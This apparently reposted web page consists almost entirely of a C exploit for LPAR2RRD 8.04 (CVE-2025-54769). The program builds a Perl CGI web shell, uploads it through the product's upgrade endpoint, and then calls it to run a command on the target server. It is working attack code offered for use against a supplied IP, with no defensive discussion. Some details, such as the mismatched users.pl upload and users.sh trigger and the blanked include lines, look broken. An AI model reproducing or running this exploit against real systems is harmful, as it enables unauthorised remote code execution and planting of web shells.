LPAR2RRD 8.04 – Remote Code Execution (RCE)


/*
 * Author       : Byte Reaper
 * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
 * CVE          : CVE-2025-54769 
 * Vulnerability: RCE && directory traversal
 * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, 
 * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
 */

 #include 
 #include 
 #include 
 #include "argparse.h"
 #include 
 #include 
 #include 
 #define FULL 2500
 
 void sleepAssembly()
 {
     struct timespec s ;
     s.tv_sec = 0;
     s.tv_nsec = 500000000;
     
     __asm__ volatile
     (
         "mov $35, %%rax\n\t"
         "xor %%rsi, %%rsi\n\t"
         "syscall\n\t"
         :
         : "D" (&s) 
         : "rax",
           "rsi",
           "memory"
        );
 }
 void syscallLinux()
 {
     __asm__ volatile
     (
         "mov $0x3C, %%rax\n\t"
         "xor %%rdi, %%rdi\n\t"
         "syscall\n\t"
         :
         :
         :"rax", "rdi"
     );
 }
 int fileS = 0;
 int useCookies = 0;
 int verboseMode = 0;
 const char *cookies;
 const char *ip = NULL;
 int portService = 0;
 int port = 0;
 int protocolS = 0;
 const char  *protocol = NULL;
 int CreateFilePerl()
 {
    FILE *fileP = fopen("users.pl", "w");
    if (fileP == NULL)
    {
        printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("[+] Create File Successfully\n");
    char payloadContent[7000];
    int payload = snprintf(payloadContent, 
         sizeof(payloadContent),
     "#!/usr/bin/perl\n"
                 "use strict;\n"
                 "use warnings;\n"
                 "use CGI;\n"
                 "my $q   = CGI->new;\n" 
                 "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
                 "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
                 "{\n"
                         "\tprint \"Content-type: text/html\\n\\n\";\n"
                         "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
                         "\tprint $commandW;\n"
                 "}\n"
        );
    if (payload < 0 || (size_t)payload >= sizeof(payloadContent)) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
        syscallLinux();
    }
         
    size_t e = strlen(payloadContent);
    unsigned long writeLen = fwrite(payloadContent, 
         1, strlen(payloadContent),
          fileP);
    if (writeLen != e)
    {
        printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
        syscallLinux();
        return 0;
    }
    printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
    fclose(fileP);
    return 1;
}         
const char *resultCommand[] = 
{
    "root",
    "admin",
    "user",
    "ssh",
    "/home/",
    NULL
};
 
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
    struct Mem responseGet ;
    responseGet.buffer = NULL;
    responseGet.len = 0;
    CURLcode codeLib;
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
              ? port
           : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, sizeof(full),
                  "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
                     proto, targetIP, prt);
    if (n < 0 || (size_t)n >= sizeof(full)) 
    {
         fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
         syscallLinux();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
    curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
    sleepAssembly();
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
 
    if (useCookies) 
    {
         curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE, 
            cookies);
         curl_easy_setopt(curl,
             CURLOPT_COOKIEJAR,  
             cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                CURLOPT_VERBOSE,
                         1L);
    }
 
    printf("\e[1;37m[+] GET URL: %s\e[0m\n", 
        full);
    struct curl_slist *headers = NULL;
     headers = curl_slist_append(headers , 
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
    headers = curl_slist_append(headers,
         "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "Upgrade-Insecure-Requests: 1");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Dest: document");
    headers = curl_slist_append(headers, 
        "Sec-Fetch-Mode: navigate");
    headers = curl_slist_append(headers, 
        "Priority: u=0, i");
    headers = curl_slist_append(headers, 
        "Pragma: no-cache");
    headers = curl_slist_append(headers, 
        "Cache-Control: no-cache");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    curl_easy_setopt(curl, 
        CURLOPT_HTTPHEADER, 
        headers);
    codeLib = curl_easy_perform(curl);
    curl_slist_free_all(headers);
    if (codeLib == CURLE_OK) 
    {
        printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
        long codeH = 0;
        curl_easy_getinfo(curl, 
            CURLINFO_RESPONSE_CODE,
             &codeH);
 
        printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
        printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
        if (responseGet.buffer)
        {
            if (verboseMode)
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");
    
                printf("%s\n", responseGet.buffer);
                printf("\e[1;35m===================================================================================================================\e[0m\n");
            }
        }
        
        if (codeH >= 200 && codeH < 300) 
        {
            printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
            printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
            if (responseGet.buffer) 
            {
                printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
                        responseGet.len);
                    printf("\e[1;35m===================================================================================================================\n");
                for (int j = 0; resultCommand[j]; j++) 
                {
                    if (strstr(responseGet.buffer, resultCommand[j])) 
                    {
                        printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
                        printf("\e[1;34m[+] Word : %s\e[0m\n", 
                                resultCommand[j]);
                        printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
                    }
                    else 
                    {
                        if (verboseMode)
                        {
                            printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", 
                                resultCommand[j]);
                        }
                        else
                        {
                            continue;
                        }
                            
                    }
                    
                }
            } 
            else 
            {
                printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
                if (verboseMode)
                {
                    printf("\e[1;31m[-] Exit Syscall\e[0m\n");
                }
            }
        } 
        else 
        {
            printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
            if (verboseMode)
            {
                if (responseGet.buffer)
                {
                    printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                    printf("%s\n", responseGet.buffer);
                    printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
                    printf("\e[1;35m\n=============================================================================================\e[0m\n");
                }
            }
        }
    } 
    else 
    {
        fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
        syscallLinux();
    }
 
    free(responseGet.buffer);
    responseGet.buffer = NULL;
    responseGet.len = 0;
    curl_easy_cleanup(curl);
}
 
void remoteCode(const char *ipS)
{

    CURL *curl = curl_easy_init();
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    CURLcode codeLibCurl;
    if (verboseMode)
    {
        printf("\e[1;35m================================== [Value Response] ==================================\n");
        printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
        printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
        printf("\e[1;35m=======================================================================================\n");
    }
    if (!curl) 
    {
        fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
        syscallLinux();
    }
    char full[FULL];
    const char *proto = protocolS ? protocol : "https";
    int prt = portService
               ? port
               : (strcmp(proto, "http") == 0 ? 80 : 443);
    int n = snprintf(full, 
        sizeof(full),
                      "%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
                      proto, ipS, prt);
     if (n < 0 || (size_t)n >= sizeof(full)) 
     {
        fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
        syscallLinux();
     }
 

    if (!CreateFilePerl()) 
    {
        fprintf(stderr, 
            "\e[1;31m[-] Failed to create File users.pl\e[0m\n");
        syscallLinux();
    }
 
    printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);

    curl_mime *form = curl_mime_init(curl);
    curl_mimepart *field = curl_mime_addpart(form);
    curl_mime_name(field, 
        "upgfile");
    curl_mime_filedata(field,
         "users.pl");
    curl_mime_filename(field,
         "users.pl");
    curl_mime_type(field,
         "application/x-perl");
    curl_easy_setopt(curl,
         CURLOPT_URL, 
         full);
    curl_easy_setopt(curl,
         CURLOPT_POST, 
         1L);
    curl_easy_setopt(curl,
         CURLOPT_MIMEPOST, form);
    curl_easy_setopt(curl, 
        CURLOPT_WRITEFUNCTION, 
        write_cb);
    curl_easy_setopt(curl,
         CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, 
        CURLOPT_FOLLOWLOCATION,
         1L);
    curl_easy_setopt(curl,
         CURLOPT_CONNECTTIMEOUT, 
         5L);
    sleepAssembly();
    curl_easy_setopt(curl, 
        CURLOPT_TIMEOUT, 
        10L);
 
    if (useCookies) 
    {
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEFILE,
             cookies);
        curl_easy_setopt(curl, 
            CURLOPT_COOKIEJAR,  
            cookies);
    }
    if (verboseMode)
    {
        printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
        curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                       1L);
    }

    struct curl_slist *headers = NULL;
    char host[128];
    int lenIp = snprintf(host , 
        sizeof(host),
       "Host: %s:%d", 
              ipS, prt);
    if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
    {
        printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
        syscallLinux();
    }
    headers = curl_slist_append(headers, 
        "Accept: */*");
    headers = curl_slist_append(headers, 
        "Accept-Language: en-US,en;q=0.5");
    headers = curl_slist_append(headers, 
        "Accept-Encoding: gzip, deflate, br");
    headers = curl_slist_append(headers, 
        "X-Requested-With: XMLHttpRequest");
    headers = curl_slist_append(headers, 
        "Connection: keep-alive");
    headers = curl_slist_append(headers, 
        "Priority: u=0");
    headers = curl_slist_append(headers, "Authorization: ");
    headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
    headers = curl_slist_append(headers ,
         host);
    void *m = memset(host , 0, sizeof(host));
    if (m == NULL)
    {       
        fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
        syscallLinux();
    }
    int lenO = snprintf(host , 
        sizeof(host),
         "Origin: https://%s:%d", 
            ipS, prt);
    if (lenO < 0 || (size_t)lenO >= sizeof(host))
    {
        syscallLinux();
    } 
    headers = curl_slist_append(headers,
        host); 
    curl_easy_setopt(curl, 
    CURLOPT_HTTPHEADER, 
        headers);
 
    codeLibCurl = curl_easy_perform(curl);
    curl_mime_free(form);
    curl_slist_free_all(headers);
 
    if (codeLibCurl != CURLE_OK) 
    {
        fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
            curl_easy_strerror(codeLibCurl));
        syscallLinux();
    }
    long httpCode = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, 
        &httpCode);
    printf("\e[1;36m[+] Protocol  : %s\e[0m\n", protocol);
    printf("\e[1;36m[+] Port : %d\e[0m\n", port);
    printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
    if (httpCode >= 200 && httpCode < 300)
    {
        printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
        if (response.buffer) 
        {
            printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
            printf("%s\n", response.buffer);
            printf("\e[1;32m    [+] Len Response : %zu\e[0m\n",response.len);
            printf("\e[1;35m\n=============================================================================================\e[0m\n");
            if (strstr(response.buffer, "This file doesn't look like the upgrade package")) 
            {
                printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
                printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
                printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
                getRequest(curl, ipS);
            }
        } 
        else
        {
            fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
            fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
            if (verboseMode)
            {
                    fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
            }
            syscallLinux();
        } 
    }
    else 
    {
        printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
        if (verboseMode)
        {
            if (response.buffer)
            {
                printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[-] Len Response : %zu\n",response.len);
                printf("\e[1;35m\n=============================================================================================\e[0m\n");
            }
        }
    }
 
    
    free(response.buffer);
    response.buffer = NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
}
 
 
int main(int argc, 
    const char **argv)
{
     printf(
         "\e[1;31m"
         "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖  \n"
         "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌  \n"
         "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌ ▌▙▌▄▌  \n"
                "\e[1;37m\t\tByte Reaper\n"
    );
    curl_global_init(CURL_GLOBAL_DEFAULT);
    printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");
     
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ip,
                    "Enter Target IP"),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_INTEGER('p', 
             "port", 
             &port ,
             "Enter Target Port Service"),
        OPT_STRING('t',
              "protocol",
              &protocol, 
             "Enter Protocol Service (http / https)"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verboseMode,
                     "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                   options,
                   NULL,
                   0);
 
    argparse_parse(&argparse,
                    argc,
                    argv);  
    in_addr_t q = inet_addr(ip);
    if (q == INADDR_NONE)
    {
            printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
            syscallLinux();
    }            
    if (!ip)
    {
        fprintf(stderr,"\e[1;31m[-] Please Enter Target IP  !\e[0m\n");
        
        fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i  \e[0m\n");
        fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
        syscallLinux();
    }
    if (verboseMode)
    {
        verboseMode = 1;
    }
    if (cookies)
    {
        useCookies = 1;
    }
    if (port)
    {
        portService = 1;
    }
    if (protocol)
    {
        protocolS = 1;
    }
    remoteCode(ip);
    curl_global_cleanup();
    return 0;
 }
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *